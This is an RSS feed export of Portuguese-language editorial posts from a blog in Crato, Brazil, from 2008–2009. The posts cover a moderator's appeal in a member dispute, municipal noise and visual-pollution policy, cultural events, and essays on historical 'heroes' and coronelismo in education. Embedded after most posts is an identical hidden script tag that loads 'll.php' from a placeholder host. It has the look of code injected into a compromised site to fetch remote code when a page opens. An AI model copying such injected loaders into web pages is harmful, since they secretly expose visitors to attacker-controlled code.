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	<title>Chapada do Araripe &#187; Editorial</title>
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		<title>O Respeito merecido ao Sr. Armando Rafael</title>
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		<pubDate>Fri, 08 May 2009 03:09:00 +0000</pubDate>
		<dc:creator>Dihelson Mendonca</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[[ Acima: Manoel P. Aquino entrega diploma de membro do ICC a Armando Lopes Rafael ] Prezados membros do Blog do Crato, Venho por meio desta externar a minha solidariedade e estima ao nosso colega Armando Rafael, um dos ( se não O ), maior Historiador do Cariri, que por razões particulares, de discussões com [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;"><a title="armando e nezinho por dihelson, no Flickr" href="http://www.flickr.com/photos/11001724@N06/3511406935/"><img src="http://farm4.static.flickr.com/3393/3511406935_4fee8ba25c.jpg" alt="armando e nezinho" width="400" height="266" /></a></div>
<div style="text-align: justify;">
<div style="text-align: center;"><span style="color: #006600;">[ Acima: Manoel P. Aquino entrega diploma de membro do ICC a Armando Lopes Rafael ]</span></div>
<p>Prezados membros do Blog do Crato,</p>
<p><span style="font-weight: bold; color: #000099;font-size:180%;">V</span>enho por meio desta externar a minha solidariedade e estima ao nosso colega Armando Rafael, um dos ( se não O ), maior Historiador do Cariri, que por razões particulares, de discussões com outro membro do Blog, o Sr. José Nilton Mariano, resolveu há alguns meses, &#8220;tirar umas férias&#8221; do nosso Blog. Na época, tentei de todas as formas possíveis reverter essa decisão do Armando, pois as discussões geram polêmica, mas algo dentro de mim me dizia para respeitar a sua decisão, e que em momento oportuno as coisas seriam solucionadas. Assim o fiz.</p>
<p>Tudo já ia aparentemente bem, até esses dias, quando em infeliz comentário, já por 2 vezes, o Sr. José Nilton Mariano se referiu novamente ao Armando, por vias indiretas. Na primeira, trazendo até o Armando de volta para um comentário apenas, e agora, novamente, em outro infeliz comentário em um dos tópicos do blog. O Armando por conta disso, me enviou uma carta extensa via e-mail, de esclarecimentos, pedidos, e até mostrando o grau de amizade que ele nutria pelo Mariano, relacionando vários fatos da vida dos dois que os levaram a ser amigos,  e que eu preferi não publicar, para não jogar mais lenha na fogueira. O Armando acusa o Mariano de ter se tornado um &#8220;elemento desagregador do Blog&#8221;, pois disse que depois da sua entrada, o Mariano procura semear a discórdia entre os membros, e passou a &#8220;marcar&#8221; as postagens e opiniões do Armando. Embora eu não veja totalmente por esse lado, de chegar ao ponto de classificar o nosso colega Mariano de &#8220;elemento desagregador&#8221;, tenho notado de modo pessoal, a sua constante tônica em cima de determinadas obsessões.</p>
<p>A bem da verdade, já tive de intervir diversas vezes, pedindo até que por um mês apenas, se parasse de falar por aqui nos &#8220;Benefícios do Lula&#8221;,  e por outro lado, em assuntos de Religião, pois se for pouco, é bom, mas tava uma coisa de louco&#8230; não que desejemos tolher nenhum assunto em especial, mas quando a discussão se multiplica com o mesmo assunto, o mesmo ponto se espalhando por vários tópicos do Blog como era antes, se torna preocupante e impraticável. Não se tratava de notícias diárias do Lula, pois não eram relatos de realizações, era de confronto e de desafio mesmo, que pelo conteúdo, gerou muita discórdia. Então isso gerou um descontentamento muito grande, também percebido por mim e por vários outros membros como o Armando Rafael e até no nosso querido A. Morais, que se cansou de fazer bate-boca todo dia sobre o MESMO ASSUNTO Lula e foi postar as suas matérias no Blog do Sanharol.</p>
<p>Diante da carta de hoje do Armando Rafael,  e em sinal de respeito, é que venho &#8220;PEDIR&#8221; para que o nosso colega José Nilton Mariano pare de mencionar, lembrar ou fazer qualquer referência , alusão ou mesmo insinuação que seja ao professor Armando Rafael em qualquer texto escrito no Blog do Crato, pois o Armando é uma pessoa sensível, está sendo muito respeitoso e tolerante até para com os acontecimentos, e é uma pessoa que merece por parte de todos nós membros, o mais profundo respeito e consideração. Da mesma forma o Mariano. E é atendendo ao pedido do Armando, como atenderia esse pedido de qualquer outro membro, para ser justo, que eu postei essa nota, que espero contar  também com o respeito  a mim, como administrador e a colaboração. Quero também a propósito deste episódio, evitar maiores comentários, sem réplicas nem tréplicas para que isso não se extenda, e dar esse assunto aqui por encerrado. Tão encerrado que este tópico não permite qualquer comentário. Que reine a Paz entre os diversos membros, com o respeito às opiniões diversas, porém sem comentários desagregadores, nem cismas veladas.</p>
<p>Atenciosamente,</p>
<p><span style="font-weight: bold; color: #000099;">Dihelson Mendonça</span></div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>EDITORIAL &#8211; Não podemos também coibir as Manifesações Culturais sob a alegação de Poluição Sonora !</title>
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		<pubDate>Fri, 01 May 2009 09:16:00 +0000</pubDate>
		<dc:creator>Dihelson Mendonca</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[A Secretaria de Meio Ambiente de Crato, sob o excelente comando de Nivaldo Soares está fazendo um belíssimo trabalho no sentido de despoluir o Crato visual e acústicamente. Inúmeras placas enormes que poluíam o centro da cidade já foram retiradas, e casas de shows barulhentas já foram até interditadas pela Justiça. A SEMACE tem feito [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;"><span style="font-weight: bold; color: rgb(0, 0, 153);font-size:180%;" ><br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WY3qKeZY6L0/SfrESuDiPLI/AAAAAAAAJjw/hVt5oEftxsI/s1600-h/pensador.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 247px; height: 400px;" src="http://1.bp.blogspot.com/_WY3qKeZY6L0/SfrESuDiPLI/AAAAAAAAJjw/hVt5oEftxsI/s400/pensador.jpg" alt="" id="BLOGGER_PHOTO_ID_5330788934825950386" border="0" /></a><span style="font-weight: bold; color: rgb(0, 0, 153);font-size:180%;" >A</span> Secretaria de Meio Ambiente de Crato, sob o excelente comando de Nivaldo Soares está fazendo um belíssimo trabalho no sentido de despoluir o Crato visual e acústicamente. Inúmeras placas enormes que poluíam o centro da cidade já foram retiradas, e casas de shows barulhentas já foram até interditadas pela Justiça. A SEMACE tem feito um trabalho merecedor dos maiores elogios.</p>
<p>Entretanto&#8230;</p>
<p>Entretanto, temos recebido várias reclamações via e-mail, por parte de pessoas que fazem a cultura funcionar no Crato também, como por exemplo o pessoal que produzia aquele belo espetáculo chamado CINETÉRIO, que consiste na apresentação de filmes de arte na praça Francisco Sá aos moldes antigos. Uma iniciativa excelente, de resgate do cinema. Segundo os e-mails que recebi, as sessões do Cinetério haviam sido proibidas no local. No nosso entendimento, isso foi um grande equívoco, pois trata-se de uma manifestação cultural e assim como todas elas, devem ser vistas com mais carinho pela administração Samuel Araripe e secretarias.</p>
<p>Outra reclamação igualmente procedente é do pessoal do OLHAR CASA DAS ARTES, um local sui generis aonde nessa cidade ainda se tinha a oportunidade de assistir a shows de artistas locais, fora do circuito grotesco das bandas de forró e que devido a problemas de volume sonoro parece-nos que foi até invadida ultimamente por cerca de 30 policiais ( assim dizia o e-mail ), causando pânico nos frequentadores. Esse tipo de atitude hostil deve ser evitada, pois as pessoas que frequentam esses locais não têm culpa do volume sonoro que a casa quer manter. E como falamos antes, são locais e eventos que ainda se tinha algum acesso a shows em Crato.</p>
<p>Portanto, no sentido de promover a cultura e as artes, é que pedimos encarecidamente ao Secretário Nivaldo Soares e a Secretária de Cultura do Município Danielle Esmeraldo,  que procurem uma maneira de tornar possível as sessões do &#8220;Cinetério&#8221;, em um local apropriado para que este continue. Poderia até ser no auditório da Reffesa, se fosse de comum acordo com os organizadores. Aliás, deve-se fazer mais eventos no auditório da Reffesa, bem como no Teatro Municipal, que todo dia poderia ter espetáculos artísticos e culturais para a população, porque não ? Artistas no Cariri não faltam!  Sei que a Secretária Danielle Esmeraldo tem procurado dar o máximo de si no sentido de promover a cultura, mas é bom que a população possa contribuir com algumas sugestões também.</p>
<p>Então, vamos agir com mais simpatia para com as pessoas que ainda procuram fazer algo de artístico e cultural no Crato, pois estes não podem e não devem ser confundidos com os arruaceiros que empestiam a nossa cidade de Forró eletrônico com seus carros turbinados e que sempre saem impunes e são danosos à sociedade. Aliás, também muito pelo contrário, a cultura e as artes verdadeiras enobrecem o Ser Humano.</p>
<div style="text-align: center;"><span style="font-weight: bold; color: rgb(0, 0, 153);">A dose pode estar forte demais para uns e fraca para outros&#8230;</span></div>
<p></div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Onde está o povo?</title>
		<link>http://www.instrumentalbrasil.com/chapadadoararipe/2009/04/22/onde-esta-o-povo/</link>
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		<pubDate>Wed, 22 Apr 2009 21:33:00 +0000</pubDate>
		<dc:creator>Joao Ludgero</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[Vivemos uma semana de homenagens aos heróis brasileiros, Tiradentes, Pedro, etc. Achei este texto de Júlio José Chiavenato interessante para este momento. Fica aberto o debate para os intelectuais da &#8220;Velha&#8221; e Nova História, da Geografia Nova ou da Nova Geografia, Filósofos, Sociólogos, etc. Nos livros de história o povo quase nunca aparece. É Pedro [...]]]></description>
			<content:encoded><![CDATA[<div align="justify">Vivemos uma semana de homenagens aos heróis brasileiros, Tiradentes, Pedro, etc. Achei este texto de <span style="color:#ff0000;">Júlio José Chiavenato</span> interessante para este momento. Fica aberto o debate para os intelectuais da &#8220;Velha&#8221; e Nova História, da Geografia Nova ou da Nova Geografia, Filósofos, Sociólogos, etc.</div>
<p>
<div align="justify">Nos livros de história o povo quase nunca aparece. É Pedro I gritando, Bonifácio propondo, Isabel “abolicionando”, Caxias puxando a espada, um tal de “quem for brasileiro, siga-me” ou “morre um liberal mas não morre a liberdade”. Povo que é bom&#8230;</div>
<div align="justify">Será verdade?</div>
<div align="justify">Fala-se muito que este é um “povinho safado”. Dizem que o brasileiro não luta, aceita os fatos passivamente, e que as grandes mudanças na política acontecem sem sua presença.</div>
<div align="justify">Melhor repensar algumas coisas. Quem é o povo? O que são grandes mudanças políticas? E, afinal, a velha e anedótica questão – que país é este?</div>
<div align="justify">Antes das respostas, porém, vamos lembrar o óbvio: sem povo, não há história. E repetir o truísmo: a história tem sido escrita pelos vencedores. Especialmente no Brasil, com raras exceções, sua interpretação é feita pelas classes dominantes.</div>
<div align="justify">Uma das características básicas da historiografia tradicional é negar ao povo qualquer participação profunda nas mudanças da sociedade. A partir daí se exerce um controle ideológico tendo por base o seguinte: são os “grandes homens”, os “heróis” e os “santos” que lutam pelas massas, pois elas são incapazes de entender a grande política.</div>
<div align="justify">O Culto ao herói, ao grande homem, é utilíssimo ao poder. Por meio do mito criado aprendemos a respeitar a autoridade e a não questionar o que é “de lei”. O culto aos grandes homens do passado, feito muitas vezes contra,  a verdade histórica projeta-se nos anões políticos do presente, menosprezando a capacidade política do povo de cuidar do seu próprio destino. É muito simples entender, mas bastante complexo desarmar toda essa mitificação.</div>
<div align="justify">Séculos de dominação ideológica, nos quais raramente aparece o outro lado da história, levam-nos a acreditar  nas “verdades estabelecidas”. Com referência a história do Brasil, é mais fácil as pessoas aceitarem mentira do que a verdade. Uma conseqüência lógica. É uma das grandes forças que mantém  a opressão sobre  a  maioria do povo brasileiro.</div>
<div align="justify"> </div>
<div align="justify">Saudações Geográficas!</div>
<div align="justify">João Ludgero  </div>
<div align="justify"> </div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		<title>Bárbara, que barbaridades&#8230;</title>
		<link>http://www.instrumentalbrasil.com/chapadadoararipe/2009/04/08/barbara-que-barbaridades/</link>
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		<pubDate>Wed, 08 Apr 2009 18:44:00 +0000</pubDate>
		<dc:creator>Joao Ludgero</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[Por &#8211; Hugo Esmeraldo Sobreira &#8211; Cratense Por que lutavam os rebeldes de 1817 e 1824? Seriam realmente guerreiros da liberdade? Que liberdade era aquela? Que liberalismo era aquele? Tentemos. A luta renhida entre o localismo e o centralismo atravessou o primeiro século do Brasil apartado. Senhores locais vindos das mais profundas raízes formadoras de [...]]]></description>
			<content:encoded><![CDATA[<div align="justify">Por &#8211; Hugo Esmeraldo Sobreira &#8211; Cratense</div>
<div align="justify"> </div>
<div align="justify">Por que lutavam os rebeldes de 1817 e 1824? Seriam realmente guerreiros da liberdade? Que liberdade era aquela? Que liberalismo era aquele? Tentemos.</div>
<div align="justify"> </div>
<div align="justify">A luta renhida entre o localismo e o centralismo atravessou o primeiro século do Brasil apartado. Senhores locais vindos das mais profundas raízes formadoras de nossa sociedade ansiavam por ter enfim, definitiva e legitimamente, as rédeas de seus terreiros. Eis os que se diziam liberais naqueles tempos. Mas o imperador lhes barrou o plano. Fez-lhes engolir o Quarto Poder: Moderador. Na prática, a absolutização da Pátria recém-nascida. Gritos liberais então tentaram não engasgar. Mas liberais o quanto? Suficientemente ao ponto de um Rousseau? Não! Jamais! Nunca a loucura de um sufrágio universal! Nem pensar em libertação de escravos! Nem imaginar a divisão da terra! A questão era bem mais simples: fatias de poder mais bem repartidas. E só. Piegas, simplória, lugar-comum a luta desses “heróis”: aferrar seu poder incontestável sobre pobres quinhões regionais nordestinos.</div>
<div align="justify"> </div>
<div align="justify">Mas a História também se faz de mitos. D. Bárbara de Alencar, legítima representante da aristocracia latifundiária escravista. Não! Perdoem-me! Legítima heroína da liberdade nacional! Uma cidade se faz com gente&#8230; gente que se reconhece num mesmo processo formador. É preciso ter História para se ter identidade. Ela, um dos fundamentos da identidade da elite intelectual cratense.</div>
<div align="justify"> </div>
<div align="justify">D. Bárbara foi muito mais uma mãe ciosa de suas crias do que mesmo uma lutadora consciente de sua prática política. Foi assim, uma matrona, “coronela”, sra. de escravos e de largas terras. Saiu à luta não como uma musa republicana de bandeira em punho, mas muito mais para proteger os interesses “liberais” da época, meramente localistas e particularistas. Na aventura em que se viu levada acabou caindo em desgraça, ela e sua família. Perderam terras, posição social, a própria vida até. Parentes foram perseguidos ainda por décadas. José de Alencar, pai do escritor, filho da mãe “heroína”, vergonhosamente se salva ao pedir perdão ao imperador. Verá os picos do poder no Império brasileiro: governador do Ceará, senador vitalício&#8230; Bem se vê tamanha a convicção política dos “heróis” liberais.</div>
<div align="justify"> </div>
<div align="justify">É com tristeza que ainda vejo se repetir, pleno século XXI, práticas culturais e intelectuais dignas dos salões aristocráticos. Tecem-se elogios, erguem-se memoriais, textos, imagens, sons&#8230; Tudo a fim de perpetuar uma grande mentira, a mentira dos heróis. Há muito sabemos que os heróis não existem, nada significam, em se tratando da verdade humana, a vida humana real. Se olhássemos o passado com os olhos de então, veríamos. Aqueles homens e mulheres não foram heróis, não poderiam sê-lo. Não foram além! Não foram verdeiramente revolucionários. Como seriam? Se eram latifundiários? Se eram escravocratas? Se eram da parcela proprietária detentora do poder? Não os acuso de nada. Não os julgo. Apenas tento aqui ser um pouco (ou um tanto?) iconoclasta, porque é preciso ser iconoclasta. Os ícones encobrem, mascaram, enganam. Personagens irreais criados e recriados em épocas e épocas. Chega de heróis. Precisamos de gente. Gente lúcida, livre, consciente.</div>
<div align="justify"> </div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		<title>EDUCAÇÃO E CORONELISMO</title>
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		<pubDate>Tue, 24 Mar 2009 21:05:00 +0000</pubDate>
		<dc:creator>Joao Ludgero</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[Amigos leitores, achei interessante postar este texto, porque o mesmo apesar de tratar da realidade da educação e de uma IES do Estado de São Paulo, nos permite fazer um paralelo com o que vêm acontecendo aqui no Ceará, e principalmente no Crato. Se você substituir as localidade pelo Crato, os atores e a IES, [...]]]></description>
			<content:encoded><![CDATA[<div align="justify">Amigos leitores, achei interessante postar este texto, porque o mesmo apesar de tratar da realidade da educação e de uma IES do Estado de São Paulo, nos permite fazer um paralelo com o que vêm acontecendo aqui no Ceará, e principalmente no Crato. Se você substituir as localidade pelo Crato, os atores e a IES, você se sentirá realmente no Crato.</div>
<div align="justify"></div>
<div align="justify">Afinal, o que é Educação? Podemos discernir uma breve definição que dará conta do que pretendemos dizer neste pequeno artigo. Educação é um processo que – através da assimilação de conhecimentos sistematizados, a partir da aferição junto aos anseios da comunidade – objetiva a formação de cidadãos conscientes e participativos que se voltam para a mesma comunidade e, num processo dialético constante, explicitam as contradições da realidade, revendo aqueles conhecimentos e contribuindo para a formação de uma sociedade mais justa e um ser humano mais acabado, isto é, pessoas que saibam conviver com a incompletude, eternamente aprendendo, transcendendo e se realizando na tensão indivíduo/coletividade, como Homens Integrais e plenos de consciência e vitalidade. Dissemos quase tudo nesta breve síntese? Seria melhor enfatizar um ingrediente fundamental: a felicidade. Sim, a Educação deve servir para atingirmos um estágio superior que só se revelará como tal na superação das nossas contradições e, pelo menos, das carências básicas. Felicidade é/implica (processo e produto) superação e transcendência. </div>
<div align="justify">Deveríamos, de fato, às portas do terceiro milênio, ter superado muita coisa, como fizeram outras nações. No entanto, apesar de sermos a quinta economia mundial, convivemos com a miséria, uma enorme massa de excluídos, deseducados, escandalosas discrepâncias sociais, corrupção institucionalizada etc., etc. Falhamos, não é verdade? Somos uma nação de terceira categoria? Somos gentinha ordinária que merece os governantes corruptos que se sucedem no poder? Ao contrário, prefiro entender a realidade como um processo histórico e ideológico que pode ser superado. Temos, de fato, no nosso passado, a reiteração de elites retrógradas que encontraram em terras brasílicas um clima favorável para vicejar: a índole pacífica e conformada do povo brasileiro, do homem que sorri apesar de irrealizado, como observou Mário de Andrade. </div>
<div align="justify">Nossas especificidades nacionais mantiveram vivas as velhas oligarquias, sobreviventes em metamorfoses camaleônicas (apesar da pós-modernidade e da sociedade globalizada): foram mudando de siglas partidárias e robustecendo seu eficiente (mas doentio) coronelismo. O voto de cabresto e os currais eleitorais tomaram configurações mais profundas e mais perversas. Ora, a educação seria o meio de superação desse estágio primitivo. Mas (e aqui atingimos o ponto fulcral da questão) foi justamente agindo no espaço educacional institucionalizado – a escola – que esses senhores mantiveram seu feudo, quebraram a espinha dorsal do sistema educacional, nutriram o subdesenvolvimento e enriqueceram com ele. </div>
<div align="justify">Tenho uma historinha e um exemplo deste fenômeno. Aliás, dele fiz parte. Presidente Prudente, no interior de São Paulo (um microcosmo) convive com um exemplar magnifico desta espécie de coronel da modernidade. Não há nenhum modelo tão significativo na literatura (talvez o milionário Wundershaft, da peça de Shaw). Refiro-me ao dono da universidade do oeste paulista, agora prefeito. Figura poderosíssima nos meios políticos, que enriqueceu ajudando a promover o esfacelamento do ensino público e gratuito. (É só um pequeno exemplo: há muitos como ele. Isto é apenas um retrato). Agiu na formação de uma geração, promovendo o que sintetizaremos aqui como deseducação, que se constitui na alienação dos valores que configura o Homem Integral. Neste mundo, de fato, parafraseando o poeta, “não dá pra ser feliz”. </div>
<div align="justify">A universidade do oeste paulista possui cursos em todas as áreas. Antigamente era conhecida pela sigla apec e seu núcleo envolvia os cursos voltados para a formação de professores: letras, história, geografia, matemática, etc. Tais cursos eram de baixíssima qualidade e os professores, na sua maioria, despreparados. Bem, a situação se mantém a mesma. O escândalo, no entanto, se evidencia no desmonte que promovem à estrutura curricular estabelecida pelo ministério da educação e cultura aos respectivos cursos. Eu explico. O curso de letras, por exemplo, fica exprimido em três anos (em outras Universidades são de quatro anos) e, para atender ao currículo mínimo do mec, há aulas de segunda a sábado (seis aulas na sexta e seis no sábado) que deveriam ser assistidas por todos os alunos. Está aí a tramóia. Criaram-se (informalmente) duas turmas: uma de segunda à quinta-feira e outra de sexta-feira e sábado. Portanto, por um lado, cada aluno tem a metade do mínimo; por outro, os lucros, ao empreende-dor, chegam em dobro. No final do curso, no histórico escolar do aluno, constarão muito mais aulas que na verdade ele teve. Apesar da tentativa desesperada de alguns professores e alunos de manter algumas prerrogativas éticas (valores pessoais lutando sofregamente para suprir a falha institucional), as aulas são oferecidas em condições extremamente insatisfatórias. É incrível, quase inverossímil, que tal situação se sustente por décadas. </div>
<div align="justify">Os prejuízos para a Educação, neste quadro caótico (que pode ser confirmado por alunos e professores da unoeste), são devastadores. Professores despreparados, currículo diminuído e valores distorcidos estão na base da formação de outros professores que, por sua vez, vão ocupar as escolas públicas e garantir a continuidade e o alastramento desta poderosa chaga cancerosa, criando a enorme porcentagem de miseráveis e excluídos, inclusive, do espírito de cidadania como já nos referimos. É isto, por fim: escola… deseducação… infelicidade… carência substituindo transcendência. </div>
<div align="justify">Não estamos discutindo aqui a legalidade do procedimento da universidade do oeste paulista, nem a conivência ou respaldo do ministério da educação e cultura. Estamos afirmando que são instituições minúsculas, e, sem dúvida, avalizadoras da nossa situação de subdesenvolvimento. O mais triste é que não se configura nenhuma perspectiva de mudança. Quase nenhuma, tendo em vista a vitória eleitoral (espantosa contradição) deste gênio do poder (negação do fenômeno humano) que resgatou a velha fórmula, evidentemente condenável, dando-lhe feições de modernosidade: plantar ignorância e colher votos. </div>
<div align="justify"></div>
<div align="justify">Por &#8211; Dante Gatto Professor da UNEMAT, Campus de Tangará da Serra (MT) </div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>EDITORIAL &#8211; Um Projeto com Coragem e Determinação, que certamente irá mudar o Crato como o Conhecemos. &#8211; Por: Dihelson Mendonça</title>
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		<pubDate>Fri, 06 Feb 2009 14:09:00 +0000</pubDate>
		<dc:creator>Dihelson Mendonca</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[[ Acima: Foto do Secretário de Controle Urbano e Meio Ambiente, Nivaldo Soares ] Um projeto que merece os aplausos de todos os Cratenses, executado com coragem e determinação, como nunca antes foi planejado para o município do Crato. Assim é que podemos dizer que foi ontem a tão aguardada palestra e reunião sobre a [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;"><span style="font-weight: bold; color: rgb(0, 0, 153);font-size:180%;" ></span>
<div style="text-align: center;"><a href="http://www.flickr.com/photos/11001724@N06/3257471085/" title="nivaldo por dihelson, no Flickr"><img src="http://farm4.static.flickr.com/3451/3257471085_b38dc82e62.jpg" alt="nivaldo" height="500" width="376" /></a></div>
<p>
<div style="text-align: center;"><span style="color: rgb(0, 102, 0);">[ Acima: Foto do Secretário de Controle Urbano e Meio Ambiente, Nivaldo Soares ]</span></div>
<p><span style="font-weight: bold; color: rgb(0, 0, 153);font-size:180%;" >U</span>m projeto que merece os aplausos de todos os Cratenses, executado com coragem e determinação, como nunca antes foi planejado para o município do Crato. Assim é que podemos dizer que foi ontem a tão aguardada palestra e reunião sobre a Poluição Sonora e Visual do Crato, que se realizou no Teatro Municipal Salviano Saraiva. Esse encontro, que considero de suma importância, vem para consolidar os avanços do novo modelo de educação social implementado pela atual gestão e foi muito significativo, pois abordou não só os já mencionados temas de despoluição sonora e visual do Crato, como também foram tratados assuntos contundentes, como é o caso dos feirantes, que começam a se proliferar no centro do Crato, ocupando inúmeras áreas, e tornando certas partes da cidade, simplesmente intransitáveis. Estiveram presentes no encontro, notórias personalidades, dentre as quais, o atual gerente do Banco do Nordeste agência Crato, que além de outras coisas, se propôs a liberar e facilitar recursos no sentido do amparar todo o processo, desde aparato de comerciantes e lojistas do Crato, que talvez necessitem de recursos para a mudança radical das fachadas dos seus prédios, aos recursos necessários a outras iniciativas no sentido da realização do projeto como um todo.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WY3qKeZY6L0/SYxOLt_mRCI/AAAAAAAAIYA/hLuX7qTct5w/s1600-h/IMG_9067.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 266px;" src="http://3.bp.blogspot.com/_WY3qKeZY6L0/SYxOLt_mRCI/AAAAAAAAIYA/hLuX7qTct5w/s400/IMG_9067.jpg" alt="" id="BLOGGER_PHOTO_ID_5299696824740103202" border="0" /></a>O Secretário Nivaldo e o Prefeito Samuel Araripe ousaram apresentar em Slides, e Data Show ( para o deleite dos presentes ), os graves problemas porque passa a nossa cidade no tocante à poluição visual, muitas vezes associada aos camelôs, e tal fato, diga-se de passagem, precisa ser enfrentado de forma corajosa, pois envolve o remanejamento de pessoas que ganham para seu sustento e de suas famílias. Em relação a isso, o Prefeito Samuel Araripe declarou textualmente &#8220;Não queremos prejudicar ninguém! Acreditamos ser possível a convivência pacífica entre os diversos setores. O que não podemos tolerar é o que estamos presenciando no centro da cidade com o caótico transporte alternativo, que poderemos oferecer outros pontos da cidade aonde se criem pontos de acesso&#8221; Com relação aos feirantes da praça da Sé, ele também foi enfático: &#8220;Não desejamos prejudicar quem quer que seja, nem o trabalho daquelas pessoas. Se há uma coisa que o prefeito Samuel não deseja, é prejudicar o tabalho de ninguém. Mas também há de convir que da forma que está, não pode continuar!. A grande maioria da população do Crato não pode ser prejudicada por uma pequena minoria que ocupam espaços que a eles não foram reservados. Mas creio que encontraremos uma solução para isso&#8230; Em Fortaleza, cidade que frequento bastante, a prefeita Lusiziane Lins está enfrentando um sério problema com uma feirinha que se implantou sorrateiramente ali por detrás da catedral, e hoje já começa a interditar o próprio trânsito&#8230;&#8221;</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WY3qKeZY6L0/SYxOpcHQqTI/AAAAAAAAIYQ/PDvYCRaoFME/s1600-h/samuel1.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 308px; height: 400px;" src="http://4.bp.blogspot.com/_WY3qKeZY6L0/SYxOpcHQqTI/AAAAAAAAIYQ/PDvYCRaoFME/s400/samuel1.jpg" alt="" id="BLOGGER_PHOTO_ID_5299697335336479026" border="0" /></a>É de iniciativas corajosas assim que o Crato está precisando. Pode até ser que o prefeito Samuel Araripe e sua equipe estejam em rota de colisão com diversos setores da sociedade, como certos feirantes, comerciantes inescrupulosos que ostentam placas enormes pela cidade, enfeiando a beleza de nossas ruas, e isso é uma luta que não será fácil, não será rápida, mas é sobretudo necessária e mais do que em tempo. Como alguém disse na reunião &#8220;Agora, é um caminho sem volta&#8221; e mais outro: &#8220;Chegamos no limite&#8221;.</p>
<p>A minha opinião é que a sociedade como um todo apoie essa iniciativa da despoluição visual e sonora da cidade. Abracemos essa causa, pois a estruturação correta de uma cidade que se propõe a ser modelo para o Ceará e para o Brasil, como o Crato, necessita urgentemente desta despoluição, da reformulação de conceitos, da educação da sociedade, e da tomada de iniciativas corajosas que só irão desaguar em dias melhores para o povo cratense.</p>
<p><span style="font-weight: bold; color: rgb(204, 0, 0);">Crítica aos Faltosos</p>
<p></span>E aí é que eu me questiono porque num evento tão importante que define o novo perfil do Crato, que trata da preservação do patrimônio histórico do município, tirando da frente esses imensos painéis que enfeiam a nossa cidade, e medidas que certamente trarão o bem-estar aos Cratenses, NÃO estiveram presentes aqueles que gostam de criticar sempre sem conhecimento de causa&#8230; Não estiveram lá para ver o modelo. Não estiveram lá para ver a seriedade de propósitos, não estiveram lá para não tomarem conhecimento e assim continuarem apenas a criticar o que não conhecem, as tentativas de setores da sociedade em verem os problemas do Crato solucionados. Alguns que não foram, exatamente aqueles que fazem oposição pela oposição, não foram a fim de se oporem a qualquer coisa que não seja da sua autoria. São exatamente aqueles que escrevem resenhas depreciativas, sem fundamento, sem conhecimento dos verdadeiros problemas e das soluções possíveis. São enfim, pessoas que nem sequer apareceram para discordar dos pontos apresentados no evento, que possuía microfone aberto à livre manifestação por parte da população. Mas alguns do Crato, nós já conhecemos: preferem sentar-se comodamente em suas poltronas, dizer que o mundo é assim mesmo, que não há esperanças, e passam a vida a escreverem sobre coisas que sequer tomam conhecimento e ignoram.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WY3qKeZY6L0/SYxOLrAwORI/AAAAAAAAIYI/Lou4zTX-Am0/s1600-h/IMG_9089.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 266px;" src="http://1.bp.blogspot.com/_WY3qKeZY6L0/SYxOLrAwORI/AAAAAAAAIYI/Lou4zTX-Am0/s400/IMG_9089.jpg" alt="" id="BLOGGER_PHOTO_ID_5299696823939643666" border="0" /></a>Por isso parabenizo aqui as pessoas sensatas da oposição, de partidos políticos diferentes da atual administração, como a vereadora MARA GUEDES, que compareceu ao evento e deu a sua contribuição, de apoio e de crítica construtiva aos modelos apresentados, e que assim como outros tantos, boas pessoas, comparecem nesse momento de grande importância para o município, em que se deseja ver a cidade melhorada, sabem dar as mãos e trabalhar. Afinal, o bem maior de um povo é a sua educação. E partindo do pressuposto da educação e da cultura de uma sociedade, é de se esperar que cada cidadão de bem, pertencente a qualquer ideologia, partido político, se irmane no sentido do bom-senso e dos valores que tornam nossa sociedade melhor, bem como melhores dias para o povo do Crato.</p>
<p><span style="font-weight: bold; color: rgb(0, 0, 153);">Texto e Fotos &#8211; Dihelson Mendonça</p>
<p></span></div>
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		<title>PROFESSOR x EDUCADOR = ENROLADOR x MANTENEDOR</title>
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		<pubDate>Tue, 18 Nov 2008 22:10:00 +0000</pubDate>
		<dc:creator>Joao Ludgero</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[Nesse regime que esta ai de pé, tudo é objeto de comércio, especulação e safadagem. O ensino a educação, os livros, nós professores, os instrumentos culturais, os locais, os jornais, os cinemas, os teatros, os esportes, nada escapa à ambição gulosa dos ganhadores de dinheiro, da mercantilização.De maneira que essa corja não pode falar em [...]]]></description>
			<content:encoded><![CDATA[<div align="justify">Nesse regime que esta ai de pé, tudo é objeto de comércio, especulação e safadagem. O ensino a educação, os livros, nós professores, os instrumentos culturais, os locais, os jornais, os cinemas, os teatros, os esportes, nada escapa à ambição gulosa dos ganhadores de dinheiro, da mercantilização.De maneira que essa corja não pode falar em CULTURA, com letras graúdas. CULTURA!</div>
